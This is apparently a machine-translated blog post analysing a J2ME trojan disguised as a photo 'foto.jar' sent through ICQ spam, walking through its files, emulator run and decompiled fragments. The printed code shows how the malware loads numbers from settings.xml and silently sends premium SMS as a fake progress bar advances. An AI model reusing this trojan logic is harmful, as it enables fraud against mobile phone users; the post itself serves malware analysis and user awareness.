なじみのない* .jarファイルの探索に関する記事。
ICQで頻繁にスパムを受信します。 原則として、名前にタイプミスがある偽の「VKontakte」の1つに行くことをお勧めします。 しかし、ここで彼らは写真へのリンクで許可を求めるリクエストを送信しました。 メッセージは、「私はあなたに会いたいです、リンク上の写真を見てください... .....、あなたは私と一緒に写真を撮ることに興味があります。 このリンクは偽のVKontakteにはつながりませんでしたが、foto.jarファイルのダウンロードを提案しました。
アンチウイルスで確認します-すべて問題ありません。
大まかなレビュー
面白くなります。 アーカイブを開き、調査を開始します。
jarファイルには次のファイルが含まれていました。
Javaアプリケーションを扱っています。 最も可能性が高いのはモバイルデバイスです。 main.classファイルをテキストファイルエディターで確認すると、確認が表示されます。プログラムテキストにMIDlet呼び出しがあります。
このプログラムが何をするのかを理解することは残っています。 繰り返しますが、テキストエディターを使用してください。 クラスファイルを見てみましょう。 a.classファイルで、このアプリケーションが実行するヒントを探します。
「MessageConnection、javax.wireless.messaging.TextMessage、sms://」-アプリケーションがSMSを送信することを示唆しています。
通常、そこで停止できます。 写真と呼ばれるICQスパムに付属するファイルは、実際にはSMSを送信するモバイルデバイス用のプログラムです。
並行して、このアプリケーションの動作を確認することにしました。 エミュレーター、ランタイムをロードします。 その結果、以下が得られます。
フォームにプログレスバーが読み込まれ、[OK]をクリックすると、特定の瞬間に特定の割合に達するとバーが大きくなり、SMSが送信されます。
100%に達したら-アプリケーションは「ネタバレ」します
コードに飛び込む
メッセージがクラスコードで直接送信された番号を見つけようとして失敗しました。 おもしろくなった。
さらに詳しく調べるには、ソースを逆コンパイルします。 逆コンパイルの結果は半分になりました。 1つの逆コンパイラがstartApp()メソッドを開くことができず、エラーが発生しました。 そのため、短い検索の後、すべてのファイルを開くことができるオンラインデコンパイラーが見つかりましたが、変数名として「a」のみを置換しました。 しかし、アプリケーションのロジックを理解するにはこれで十分でした。
逆コンパイルの結果全体ではなく、最も重要なフラグメントのみを提供します。
main.classクラスのstartApp()関数のフラグメント:
……. this.a = ""; this.b = "http://ero.******.ws"; if(this.a == null) { this.a = ""; …….. try { b var1; (var1 = this.a).a = var1.getClass().getResourceAsStream("/settings.xml"); var1.a = var1.a.available(); var1.a = new int[var1.a]; int var2; for(var2 = 0; var2 < var1.a; ++var2) { var1.a[var2] = var1.a.read(); } ………
このフラグメントは、情報がsettings.xmlファイルからロードされることを示しています。 そして、サイトの名前で線が形成されます。
public void commandAction(Command var1, Displayable var2) { if(var1 == this.d) { ++this.ab; ++this.ad; this.aa += this.ac; if(this.ad == 17) { this.ad = 0; this.Sender(); } if(this.ab == 100) { this.destroyApp(false); } this.a.repaint(); } if(var1 == this.a) { this.a.setCurrent(this.a); } if(var1 == this.c) { this.notifyDestroyed(); } if(var1 == this.b) { try { this.platformRequest(this.b); } catch (ConnectionNotFoundException var3) { var3.printStackTrace(); } this.notifyDestroyed(); } }
17%に達したら、 Sender()を呼び出します。 100%に達したら、 destroyApp()を呼び出して、ユーザーがアプリケーションを再び起動できないようにします。 Sender()プロシージャに渡します。
public void Sender() { if(this.a < this.a.length) { a var1 = this.a; (new Thread(var1)).start(); } }
クラスaの変数のインスタンスが新しいスレッドで起動されます。
コードスニペットをクラス化します。
public final void run() { try { …….. this.a = "sms://" + this.aa[this.aa]; …….. this.a.send(this.a); } catch (SecurityException var1) { System.out.println("!!!!!!!!!!!"); } catch (Exception var2) { this.a = false; } …….. }
それでは、要約しましょう。
このアプリケーションは、ICQ経由で配布され、携帯電話に感染し、settings.xmlファイルに保存されている番号にSMSを送信しようとします。
オンラインウイルス対策をもう一度確認します。
UPD。 提案されたMainNikaリンクをありがとう
同様の動作メカニズムを備えた難読化されていないトロイの木馬:
habrahabr.ru/blogs/java/112165
habrahabr.ru/blogs/infosecurity/113017
habrahabr.ru/blogs/personal/50072
同様のトロイの木馬のJavaコードに関する質問と興味深い議論:
habrahabr.ru/blogs/personal/75899